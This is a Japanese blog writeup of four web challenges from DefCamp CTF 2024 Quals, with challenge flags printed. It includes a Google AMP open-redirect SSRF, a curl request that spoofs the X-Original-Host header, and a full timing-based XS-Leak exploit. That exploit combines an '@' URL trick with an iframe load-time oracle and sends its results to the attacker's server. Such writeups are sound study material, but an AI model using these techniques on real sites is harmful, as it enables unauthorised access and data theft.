st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

DefCamp CTF (D-CTF) 2024 Quals writeup

9/27 - 9/29という日程で開催された。BunkyoWesternsのst98として参加して4位。早々に(3番目に)全完していたし問題の追加もないというアナウンスを確認していたので、3位は確定かと思っていたが、後から抜かれてしまった。どういうことかと思ったら、1位のチームはスコアサーバのマズい脆弱性を見つけており、これでボーナスポイントをもらっていたらしい。

Qualsと名前に付いていることからわかるように、決勝大会は11/28 - 11/29でブカレストで開催される。形式はA&Dらしい。15チームが予選から招待されるということなのでおそらく通過できているが、参加するかについてはどうだろう。"Full or partial accommodation reimbursement will be provided" ということなので、旅費支援については宿泊費のみっぽいし。


[Web 50] oracle-srl (133 solves)

[ 5 aug 2024 ] Just finished my ecommerce website. It took quite a lot of time because I wanted to make sure it's extra secure, I'm sure it will get some traction. I'm so excited!
[ 20 aug 2024 ] The website isn't picking up as i hoped it would, but I'm still optimistic
[ 13 sep 2024 ] The store is a complete bust and there is this annoying customer that keeps on checking my store every other damn minute but doesn't buy anything.
[ 13 sep 2024 ] JUST BUY SOMETHING!

Flag format: CTF{sha256}

添付ファイル: source-oracle-srl.zip

HardだとかCryptographyだとかタグが付いていて不穏だが、やけにsolves数が多かった。どういうことかと思いながらも添付ファイルを展開すると Oracle-SRLsource-oracle という2つのディレクトリが出てくる。ただ、それらのディレクトリに含まれるファイルはほとんど同じに思える。diffを見ると前者には solver というディレクトリがあったり、client/client.go にはフラグが含まれていたりした。これを投げると通った。

配布用のファイルだけでなく、デプロイ用のファイルまでまとめて配布してしまったのだろう。それだけならフラグを差し替えればよいだけだけれども、ソルバまで配布してしまったのでリベンジ問を出すのも難しい状況のようだった。かわいそう。

func CheckProducts() {
    browser := rod.New().MustConnect()
    defer browser.MustClose()

    flag_owner_session_token, err := session.GenerateSessionToken("antal.alexandru@bit-sentinel.com", "CTF{e663b007e3d1fd27f657e2756e3ba8724a37119d145063ce541595988b6cdc72}", controllers.Key)
    if err != nil {
        panic(err)
    }
// …
CTF{e663b007e3d1fd27f657e2756e3ba8724a37119d145063ce541595988b6cdc72}

[Web 170] noogle (67 solves)

Last week I decided to create my own search engine. It was kinda hard so i piggybacked on another one. I also tried something on port 8000.

Flag format: CTF{sha256}

ブラックボックス問らしい。うーん。とりあえず問題サーバにアクセスすると、次のようなページが表示された。適当なクエリで検索すると、Googleと同じ結果が返ってくる。

DevToolsでNetworkタブを見ていると、/api/getLinks というAPIを叩いている様子が確認できた。リクエストボディは {"url":"https://www.google.com/search?q=a"} というような感じで、指定したURLにHTTPリクエストを送り、そのレスポンスを返してくれているような感じがある。

問題文を見るに localhost:8000 を叩けばよいのだろうと思うけれども、ただ urlhttp://localhost:8000 に変えても "Invalid url" と怒られてしまう。検証の結果、https://www.google.com/ から始まっていなければ受け付けてくれないことがわかった。https://www.google.com/ 下でOpen Redirectはできないだろうか。

悩んでいると、文京区でそこらへんを歩いていた野良猫が、https://www.google.com/amp/s/example.com のようにAMPを使うことでGoogleから脱出できることを見つけた。localhost:8000 ではダメだが、以下のようにリダイレクトならばいけた。

<?php
header('Location: http://localhost:8000');
CTF{9cf16d163cbaecc592ca40bee3de4b1626ee0f4a3b3db23cbd5ad921049ebc0f}

[Web 280] production-bay (46 solves)

Some powerful proxy protects our cat factory production bay, but the strange thing is that we edited some nginx config in the platform to protect our /flag route, and things do not look as secure as expected.

Flag format: ctf{sha256sum}

これもブラックボックス。ブラックボックス嫌だなあ。アクセスするたびに別の猫の画像を表示してくれるWebアプリっぽいれども、これは /api/data/cat というAPIを叩いて画像のURLを引っ張ってきている。URLを削って /api/data にアクセスすると次のようなレスポンスが返ってきた。

{"Warning":"This is a test server, do not use in production! /debug is enabled for testing purposes.","message":"This is data from the Flask backend proxied!"}

なるほど。/api/data/debug のレスポンスは次の通り。host というクエリパラメータを追加するとよいらしい。

{"error":"Use ?host= to proxy to your host!"}

nc -lvp 8000 で待ち受けつつ試してみる。次のようなリクエストが来た。元々問題サーバに投げたヘッダを引き継ぎつつも、X-Real-IpX-Original-Host といったヘッダを追加しているらしい。

$ nc -lvp 8000
Listening on 0.0.0.0 8000
Connection received on (省略)
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Host: localhost:5000
X-Real-Ip: …
X-Forwarded-For: …
X-Original-Host: :5000
Upgrade-Insecure-Requests: 1
Accept-Language: ja,en-US;q=0.9,en;q=0.8

/flag を手に入れろと問題文で指示されている。/api/data/debug?host=localhost:5000/flag を試すと次のように怒られた。request.host:5000 だけど、そうでなくちゃんと localhost:5000 にアクセスしてねと言っているように読める。

{"request.host":":5000","status":"403: You need to access using localhost:5000"}

ならば、先程のリクエスト中に含まれていた X-Original-Hostlocalhost を仕込むとどうなるだろうか。やってみると、フラグが得られた。

$ curl http://(省略)/api/data/debug?host=localhost:5000/flag  -H "X-Original-Host: localhost"
{"flag":"ctf{89b52b00fd39c0410372b898632e6bf0648ae9f43d500762d03af9e7768bcbfd}","request.host":"localhost:5000"}
ctf{89b52b00fd39c0410372b898632e6bf0648ae9f43d500762d03af9e7768bcbfd}

[Web 370] reelfreaks (26 solves)

Some things are better to remain unseen. Unless, of course, you are a real freak.

NOTE: the website is served over HTTPS

Flag format: DCTF{}

添付ファイル: dctf_web_reelfreaks.zip

映画のウォッチリストを管理できるWebアプリが与えられている。まずフラグはどこかと flag やフラグフォーマットの DCTF で検索してみるがヒットしない。db.sqlite にようやく見つけた。どうやらIDが30の映画としてフラグが含まれているらしい。banned というフラグが立っており、一般ユーザではこの映画の詳細を確認したり、ウォッチリストに入れたりすることはできない。

sqlite> select * from movie where banned=1;
30|DCTF{fake_flag}|1337|./public/dance1.gif|1|[1]

bot.py からはadmin botの挙動がわかる。adminとしてログインし、指定されたURLを閲覧するらしい。なお、adminは先程の banned というフラグが立っている映画であっても、ウォッチリストに入れることができる。また、ここではその処理が書かれていないけれども、adminは先程のフラグをタイトルとして含む映画をウォッチリストに入れている。

from playwright.sync_api import sync_playwright
import os

def visit(url):
    with sync_playwright() as p:
        browser = p.chromium.launch(
            headless=True,
            args=[
                '--ignore-ssl-errors=yes',
                '--ignore-certificate-errors',
                '--start-maximized',
                '--disable-infobars',
                '--disable-extensions',
                '--disable-gpu',
                '--no-sandbox'
            ]
        )
        page = browser.new_page()
        page.goto("https://127.0.0.1:5000/login")

        page.fill("#username", os.getenv("ADMIN_USER") or 'admin')
        page.fill("#password", os.getenv("ADMIN_PASS") or 'admin')

        page.click("#submit")

        page.goto(url,wait_until="networkidle",timeout=60000)

        browser.close()

visit は次のように呼び出されている。https://127.0.0.1 から始めるようにしていてセキュアに見えるが、そうではない。@ から始めれば 127.0.0.1 の部分をBASIC認証のクレデンシャル部分として扱わせることができ、これによって 127.0.0.1 でない外部のページにアクセスさせることができる。

@main.route('/report', methods=['POST'])
@login_required
def report():
    url = "https://127.0.0.1" + request.form.get('movie')
    thread = threading.Thread(target=visit,args=(url,))
    thread.start()
    return 'OK'

この問題はなぜか localhost 含めHTTPSでホストされているし、以下のように SameSite=None が設定されているので、外部のページで iframe で埋め込んだとしてもCookieが飛ぶ。

    app.config['SESSION_COOKIE_SECURE'] = True
    app.config['SESSION_COOKIE_SAMESITE'] = 'None'

さて、どうやってウォッチリストに含まれる映画のタイトルを手に入れるか。実はウォッチリストでは以下のように検索もできる。DCTF{… というように検索してヒットした場合とヒットしなかった場合とで挙動は変化しないだろうか。それをオラクルとして1文字ずつフラグを手に入れられないだろうか。

大きな違いとして、映画がヒットした場合には画像が読み込まれるという点がある。これによってロード時間が変わるはずなので、iframeload イベントが発生する時間を見ることで1文字ずつフラグが手に入れられるのではないか。

@main.route('/watchlist')
@login_required
def watchlist():
    movie_ids = current_user.get_watched()
    query= request.args.get('q', '').lower()
    if query:
        movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids),Movie.title.ilike(f'%{query}%')).all()
    else:
        movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids)).all()
    for i,movie in enumerate(movies):       
        if movie.banned != False and current_user.role != 'real_freak':
            movies.pop(i)
            continue
        watched_by = movie.get_watched()
        if watched_by:
            movie.users = []
            users = db.session.query(User).filter(User.id.in_(watched_by))
            if users:
                for user in users:
                    if not user.id == current_user.id:
                        movie.users.append(user.username)
    
    return render_template('watchlist.html',movies=movies)

ということで出来上がったのが次のexploitだ。ロード時間の差異が微妙だったのでいろいろ試していたのだけれども、結果として実際にexploitの安定に寄与しているかはわからないおまじないが多い。

import time
from flask import Flask

app = Flask(__name__)

@app.route('/bbbb.php')
def bbbb():
    with open('bbbb.php', 'r') as f:
        b = f.read()
    return b

@app.route('/cccc.php')
def cccc():
    time.sleep(1000)
    return 'ok'

app.run(host='0.0.0.0', port=80, debug=True)
<body>
<form method="POST" target="poyopo">
    <input type="text" name="movie_id">
</form>
<script>
const BASE_URL = 'https://127.0.0.1:5000';

async function go(url) {
    return new Promise(r => {
        const i = document.createElement('iframe');
        i.src = url;
        const start = performance.now();
        i.onload = () => {
            const d = performance.now() - start;
            document.body.removeChild(i);
            r(d);
        };
        document.body.appendChild(i);
    });
}

function log(s) {
    navigator.sendBeacon(`/log.php?${s}`)
}

async function main() {
    let flag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_'
    const table = 'abcdefghijklmnopqrstuvwxyz0123456789{}';

    log('start');
    let cc = 0;
    setInterval(() => { log('ok' + cc++); }, 20_000);

    // 暖機運転
    for (let i = 0; i < 5; i++) {
        await go(`${BASE_URL}/watchlist?q=DCTF{po%25yo}&${Math.random()}`);
    }

    while (true) {
        let result = {};

        for (let i = 0; i < 5; i++) {
            for (const c of table) {
                if (!result[c]) result[c] = 0;
                result[c] += await go(`${BASE_URL}/watchlist?q=${flag}${c}&${Math.random()}`);
            }
        }

        let mi = -Infinity, mc = '';
        for (const [c, d] of Object.entries(result)) {
            console.log(d, c);
            if (d > mi) {
                mi = d;
                mc = c;
            }
        }

        console.log(flag + mc);
        log(`${flag.length}-${mc}`);

        flag += '_';
    }
}

main();
</script>
<img src=/cccc.php>
</body>
DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}

今回見た問題の中で一番面白かった。ただ、フラグがどのようにして格納されているかがコード等で明確に示されていなかったり、フラグが長い上に文字種が指定されていなかったり、ちょっと面倒くさいなあと思うところがあった。

CTF終了後に公式のDiscordサーバを見ていたところ、実は banned な映画はウォッチリストから閲覧できないだけで、以下の通りウォッチリストへの追加自体はできるらしかった。そして、ウォッチリストのページでは各映画についてほかにどんなユーザがそれをウォッチリストに追加しているかが表示されるので、あらかじめとても長いユーザ名のユーザのウォッチリストにフラグの含まれる映画を追加しておくことで、もうちょっといい感じにレンダリングの時間を伸ばせるらしい。

@main.route('/add_movie', methods=['POST'])
@login_required
def add_movie():
    movie_id = request.form.get('movie_id')
    if movie_id:
        movie = db.session.query(Movie).get(movie_id)
    if movie:
            user = db.session.query(User).get(current_user.id)
            watchlist = user.get_watched() 

            if movie.id not in watchlist:
                watchlist.append(int(movie_id))
                user.set_watched(watchlist)
                watched_by = movie.get_watched()
                watched_by.append(int(current_user.id))
                movie.set_watched(watched_by)
                db.session.commit()
                return "Movie added successfully :)"